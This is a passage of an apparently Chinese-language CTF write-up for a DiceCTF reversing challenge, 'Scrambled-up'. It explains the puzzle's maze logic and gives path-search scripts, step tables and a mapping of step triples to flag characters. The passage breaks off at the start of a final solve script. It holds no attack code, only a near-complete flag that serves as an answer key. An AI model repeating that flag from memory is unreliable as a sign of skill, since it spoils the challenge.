plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">[0x7f4477c54160]Block[0xd5a]:</span><br><span class="line">call_type:b</span><br><span class="line">argc:3</span><br><span class="line">argv[0]:b&#x27;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x07\x04\x05\x02\x07\x05\x05\x05\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x07\x03\x08\x06\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x02\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x07\x07\x04\x06\x05\x06\x04\x02\x07\x07\x04\x05\x01\x04\x00\x07\x02\x03\x08\x01\x07\x06\x04\x05\x00\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&#x27; -&gt;0x149c</span><br><span class="line">argv[1]:0x37 -&gt;0xd57</span><br><span class="line">argv[2]:0xdeadbeef -&gt;0xd59</span><br><span class="line">[0x7f4477c541a8]Block[0xd5b]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f4477c541f0]Block[0xd5c]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:4</span><br><span class="line">argv[0]:maze_step -&gt;0x145d</span><br><span class="line">argv[1]:0x559c80cd3660 -&gt;0xd45</span><br><span class="line">argv[2]:0x5 -&gt;0xd5a</span><br><span class="line">argv[3]:0x1 -&gt;0xd5b</span><br><span class="line">[0x7f4477c54238]Block[0xd5d]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f4477c54280]Block[0xd5e]:</span><br><span class="line">call_type:b</span><br><span class="line">argc:3</span><br><span class="line">argv[0]:b&#x27;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x07\x04\x07\x01\x07\x04\x05\x07\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x07\x03\x08\x04\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x01\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x05\x07\x04\x06\x05\x06\x06\x02\x07\x06\x05\x07\x01\x05\x00\x03\x02\x03\x08\x01\x07\x07\x04\x05\x04\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&#x27; -&gt;0x12d5</span><br><span class="line">argv[1]:0x37 -&gt;0xd57</span><br><span class="line">argv[2]:0xdeadbeef -&gt;0xd5d</span><br><span class="line">[0x7f4477c542c8]Block[0xd5f]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f4477c54310]Block[0xd60]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:4</span><br><span class="line">argv[0]:maze_step -&gt;0x145d</span><br><span class="line">argv[1]:0x559c80cd3660 -&gt;0xd5c</span><br><span class="line">argv[2]:0x7 -&gt;0xd5e</span><br><span class="line">argv[3]:0x2 -&gt;0xd5f</span><br><span class="line">[0x7f4477c54358]Block[0xd61]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f4477c543a0]Block[0xd62]:</span><br><span class="line">call_type:b</span><br><span class="line">argc:3</span><br><span class="line">argv[0]:b&#x27;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x02\x06\x06\x02\x07\x05\x05\x07\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x03\x03\x08\x04\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x02\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x05\x07\x06\x06\x05\x05\x07\x02\x07\x04\x04\x06\x01\x07\x00\x07\x02\x03\x08\x01\x07\x06\x04\x05\x05\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&#x27; -&gt;0x1255</span><br><span class="line">argv[1]:0x37 -&gt;0xd57</span><br><span class="line">argv[2]:0xdeadbeef -&gt;0xd61</span><br><span class="line">[0x7f4477c543e8]Block[0xd63]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f4477c54430]Block[0xd64]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:4</span><br><span class="line">argv[0]:maze_step -&gt;0x145d</span><br><span class="line">argv[1]:0x559c80cd3660 -&gt;0xd60</span><br><span class="line">argv[2]:0x7 -&gt;0xd62</span><br><span class="line">argv[3]:0x3 -&gt;0xd63</span><br></pre></td></tr></table></figure><p>结合程序逻辑，我们能够大胆猜测，这个函数的运行逻辑如下：</p><ul><li>先尝试初始化maps</li><li>读取<code>flag[i]</code>，然后从三个不同的表<code>steps1,steps2,steps3</code>中取出对应的数字</li><li>根据数字，得到当前的maps的前进路径</li><li>最后检查的时候，获取当前的坐标</li></ul><p>通过进一步分析maze函数和blocks，能够得知以下信息：</p><ul><li>起点为(0x40,0x40)</li><li>终点为(0x45,0x8)</li><li>每个flag会强迫当前迷宫前进三步，这意味着这个迷宫必须要在96步中完成</li><li>每一步都不能碰到数字<code>-1</code></li></ul><p>一开始，我尝试过直接使用最短路径来计算如何前往目的地。毕竟大多数时候，这种逆向题目都会将最短路径作为唯一解。我尝试过使用BFS找最短路径，然而最后得到的路径居然只需要89步，而不是题目要求的96步。<br>简单分析了一下，我发现这个题目中，总共有9种前进模式。除了常见地上下左右，还能斜着前进，以及原地不动。于是我修改成上述地样子，指定<strong>必须在规定的步数内完成</strong>:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_path</span>():</span><br><span class="line">    stack = [start]</span><br><span class="line">    visited = <span class="built_in">set</span>()</span><br><span class="line">    predecessor = &#123;&#125;  <span class="comment"># 存储前驱节点</span></span><br><span class="line"></span><br><span class="line">    paths = []</span><br><span class="line">    <span class="keyword">while</span> stack:</span><br><span class="line">        x, y, cnt = stack.pop()</span><br><span class="line">        <span class="comment"># print(x,y,cnt)</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (x, y, cnt) == end:</span><br><span class="line">            <span class="comment"># print(len(stack))</span></span><br><span class="line">            <span class="comment"># 找到了满足条件的路径，回溯获取完整路径</span></span><br><span class="line">            path = [(x, y, <span class="number">0</span>)]</span><br><span class="line">            c = cnt</span><br><span class="line">            i = <span class="number">0</span></span><br><span class="line">            <span class="keyword">while</span> (x, y, c) != start:</span><br><span class="line">                <span class="comment"># print(x,y,c,i)</span></span><br><span class="line">                x, y, c, i = predecessor[(x, y, c)]</span><br><span class="line">                <span class="comment"># print(x,y,c,i)</span></span><br><span class="line">                c -= <span class="number">1</span></span><br><span class="line">                path.append((x, y, i))</span><br><span class="line">            path.reverse()</span><br><span class="line">            paths.append(path)</span><br><span class="line">            <span class="comment"># return path</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="number">0x60</span> &lt; cnt:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># if (x, y, cnt-1) not in visited:</span></span><br><span class="line">        <span class="comment">#     visited.add((x, y, cnt))</span></span><br><span class="line">            </span><br><span class="line">        <span class="comment"># 检查上、下、左、右四个相邻位置</span></span><br><span class="line">        <span class="keyword">for</span> dx, dy <span class="keyword">in</span> [(-<span class="number">1</span>, <span class="number">0</span>), (<span class="number">1</span>, <span class="number">0</span>), (<span class="number">0</span>, -<span class="number">1</span>), (<span class="number">0</span>, <span class="number">1</span>), (-<span class="number">1</span>, -<span class="number">1</span>), (-<span class="number">1</span>, <span class="number">1</span>), (<span class="number">1</span>, -<span class="number">1</span>), (<span class="number">1</span>, <span class="number">1</span>)]:</span><br><span class="line">            new_x, new_y = x + dx, y + dy</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># print(new_x,new_y)</span></span><br><span class="line">            <span class="comment"># if (new_x, new_y) not in visited and is_valid(steps):</span></span><br><span class="line">            <span class="keyword">if</span> (new_x, new_y, cnt+<span class="number">1</span>) <span class="keyword">not</span> <span class="keyword">in</span> visited <span class="keyword">and</span> \</span><br><span class="line">                new_x &gt;=<span class="number">0</span> <span class="keyword">and</span> new_y &gt;= <span class="number">0</span> <span class="keyword">and</span> \</span><br><span class="line">                new_x &lt; <span class="number">0x80</span> <span class="keyword">and</span> new_y &lt; <span class="number">0x80</span> <span class="keyword">and</span> \</span><br><span class="line">                    mappings[new_x][new_y] == <span class="number">0</span>:</span><br><span class="line">                <span class="comment"># print(hex(new_x), hex(new_y))</span></span><br><span class="line">                stack.insert(<span class="number">0</span>,(new_x, new_y, cnt+<span class="number">1</span>))</span><br><span class="line">                i = stps_map[(dx, dy)]</span><br><span class="line">                predecessor[(new_x, new_y, cnt+<span class="number">1</span>)] = (x, y, cnt+<span class="number">1</span>, i)  <span class="comment"># 记录前驱节点</span></span><br><span class="line">                visited.add((new_x, new_y, cnt+<span class="number">1</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> paths  <span class="comment"># 未找到满足条件的路径</span></span><br></pre></td></tr></table></figure><p>然而我打印了路径后发现，<strong>算法得到的路径只是先原地打转，然后再直接使用最短路径前进</strong>如果答案真的这样做，那可能的情况也太多了。在朋友地提示下，我打印出了当前执行地地图，地图大致如下:<br><img src="/2024/02/13/DiceCTF-Scrambled-up/img04.png" alt=""></p><p>在这个地图片段的最下方，有一个像是L的地方。如果用算法的话，它总是会这样前进：<br><img src="/2024/02/13/DiceCTF-Scrambled-up/img05.png" alt=""></p><p>然而，根据一般逆向题的逻辑，这里的路径应该是要长成这个样：<br><img src="/2024/02/13/DiceCTF-Scrambled-up/img06.png" alt=""></p><p>再三纠结了以下，我尝试手动走这个迷宫，并且在拐角处尽可能地转弯而不是走斜线，发现正好在96步完成了迷宫。然而，正如我们前文提到的，我们的前进方向会受到前面三个表的限制，他这个前进模式如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span>* steps[] = &#123;step1, step2, step3&#125;;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt; <span class="built_in">strlen</span>(flag); i++)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> c = flag[i];</span><br><span class="line">  <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>; j &lt; <span class="number">2</span>; j++)</span><br><span class="line">  &#123;</span><br><span class="line">    s = steps[j][c];</span><br><span class="line">    update_map(s,walk);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>举个例子：当我们的c取值为0的时候，<code>step1[0]</code>的值为0，<code>steps2[0]</code>的值为0。在我们获得了正确前进路线的情况下，这里尝试<strong>一口气使用三个前进方向来反向限制当前的输入</strong>。根据这个逻辑，可以写出如下的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">steps1 = <span class="string">b&quot;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x07\x04\x05\x02\x07\x05\x05\x05\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x07\x03\x08\x06\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x02\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x07\x07\x04\x06\x05\x06\x04\x02\x07\x07\x04\x05\x01\x04\x00\x07\x02\x03\x08\x01\x07\x06\x04\x05\x00\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&quot;</span></span><br><span class="line">steps2 = <span class="string">b&quot;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x07\x04\x07\x01\x07\x04\x05\x07\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x07\x03\x08\x04\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x01\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x05\x07\x04\x06\x05\x06\x06\x02\x07\x06\x05\x07\x01\x05\x00\x03\x02\x03\x08\x01\x07\x07\x04\x05\x04\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&quot;</span></span><br><span class="line">steps3 = <span class="string">b&quot;\x07\x06\x04\x06\x07\x00\x06\x05\x07\x02\x01\x06\x00\x01\x07\x07\x05\x06\x04\x08\x07\x08\x02\x01\x00\x01\x08\x08\x01\x00\x03\x03\x05\x04\x01\x08\x08\x02\x03\x05\x06\x01\x06\x07\x04\x01\x00\x04\x02\x06\x06\x02\x07\x05\x05\x07\x06\x04\x03\x07\x07\x07\x06\x00\x08\x08\x01\x01\x03\x03\x08\x04\x02\x08\x03\x06\x03\x00\x07\x00\x07\x05\x02\x06\x05\x06\x07\x02\x05\x07\x00\x07\x00\x08\x04\x05\x07\x06\x06\x05\x05\x07\x02\x07\x04\x04\x06\x01\x07\x00\x07\x02\x03\x08\x01\x07\x06\x04\x05\x05\x08\x03\x02\x03\x02\x04\x08\x08\x05\x00\x06\x05\x07\x06\x02\x07\x05\x08\x00\x08\x00\x00\x01\x06\x05\x06\x05\x00\x01\x07\x01\x06\x02\x02\x03\x05\x05\x01\x05\x04\x00\x05\x00\x01\x02\x06\x02\x00\x00\x05\x08\x02\x03\x01\x05\x03\x00\x01\x07\x04\x07\x03\x07\x07\x08\x08\x06\x00\x07\x00\x03\x08\x08\x01\x04\x08\x00\x04\x02\x07\x03\x06\x06\x00\x07\x04\x01\x03\x04\x05\x01\x03\x00\x04\x02\x02\x02\x08\x02\x07\x02\x08\x07\x02\x07\x00\x04\x06\x05\x01\x06\x02\x04\x01\x00\x03\x08\x04\x00\x06\x01\x01\x01\x06\x02\x08\x02\x01\x04\x02\x05\x03\x02\x02\x05\x07&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line">step_idx = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> step_idx+<span class="number">2</span> &lt; <span class="built_in">len</span>(targets):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(steps1)):</span><br><span class="line">        <span class="keyword">if</span> steps1[i] == targets[step_idx] <span class="keyword">and</span> \</span><br><span class="line">        steps2[i] == targets[step_idx+<span class="number">1</span>] <span class="keyword">and</span> \</span><br><span class="line">        steps3[i] == targets[step_idx+<span class="number">2</span>] <span class="keyword">and</span> \</span><br><span class="line">            <span class="built_in">chr</span>(i) <span class="keyword">in</span> string.printable:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;[%d]find it:%c[%d]&quot;</span>%(step_idx, <span class="built_in">chr</span>(i),i))</span><br><span class="line"></span><br><span class="line">    step_idx += <span class="number">3</span></span><br></pre></td></tr></table></figure><p>在代码中的<code>targets</code>即为一个由三个步子构成的前进方向方向。在脚本的配合下，走迷宫走到终点后能够得到一个这样的对应关系:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">targets = [</span><br><span class="line">    <span class="number">0</span>,<span class="number">4</span>,<span class="number">5</span>, <span class="comment"># w</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">6</span>,<span class="number">7</span>, <span class="comment"># e</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">7</span>,<span class="number">2</span>, <span class="comment"># 0</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">7</span>,<span class="number">3</span>, <span class="comment"># D</span></span><br><span class="line">    <span class="number">2</span>,<span class="number">1</span>,<span class="number">2</span>, <span class="comment"># 3|R</span></span><br><span class="line">    <span class="number">2</span>,<span class="number">1</span>,<span class="number">2</span>, <span class="comment"># 3|R</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">7</span>,<span class="number">2</span>, <span class="comment"># 0</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">5</span>,<span class="number">5</span>, <span class="comment"># _</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">5</span>,<span class="number">5</span>, <span class="comment"># _</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">5</span>,<span class="number">7</span>, <span class="comment"># l</span></span><br><span class="line">    <span class="number">6</span>,<span class="number">6</span>,<span class="number">5</span>, <span class="comment"># d</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">5</span>,<span class="number">4</span>, <span class="comment"># i</span></span><br><span class="line">    <span class="number">6</span>,<span class="number">7</span>,<span class="number">6</span>, <span class="comment"># t</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">3</span>,<span class="number">7</span>, <span class="comment"># n</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">4</span>,<span class="number">5</span>, <span class="comment"># 5</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">5</span>,<span class="number">5</span>, <span class="comment"># &#x27;| |6|Q|T|X|c|v</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">7</span>,<span class="number">7</span>, <span class="comment"># 7</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">3</span>,<span class="number">7</span>, <span class="comment"># n</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">5</span>,<span class="number">5</span>, <span class="comment"># _</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">6</span>,<span class="number">4</span>, <span class="comment"># h</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">7</span>,<span class="number">6</span>, <span class="comment"># 2|j</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">5</span>,<span class="number">5</span>, <span class="comment"># &#x27;| |6|Q|T|X|c|v</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">3</span>,<span class="number">7</span>, <span class="comment"># n</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">7</span>,<span class="number">6</span>, <span class="comment"># 2|j</span></span><br><span class="line">    <span class="number">6</span>,<span class="number">4</span>,<span class="number">4</span>, <span class="comment"># G</span></span><br><span class="line">    <span class="number">6</span>,<span class="number">6</span>,<span class="number">5</span>, <span class="comment"># d</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">4</span>,<span class="number">6</span>, <span class="comment"># 1|a</span></span><br><span class="line">    <span class="number">7</span>,<span class="number">3</span>,<span class="number">7</span>, <span class="comment"># n</span></span><br><span class="line">    <span class="number">5</span>,<span class="number">7</span>,<span class="number">6</span>, <span class="comment"># 2|j</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">4</span>,<span class="number">6</span>, <span class="comment"># 1|a</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">5</span>,<span class="number">4</span>, <span class="comment"># i</span></span><br><span class="line">    <span class="number">4</span>,<span class="number">4</span>,<span class="number">6</span>  <span class="comment"># 1|a</span></span><br><span class="line">    ]</span><br></pre></td></tr></table></figure><p>可以看到，即使尝试利用路径限制，每一个flag的取值也不是固定的。最终，我们将这一个约束条件也加入，可以得出如下的解题脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span 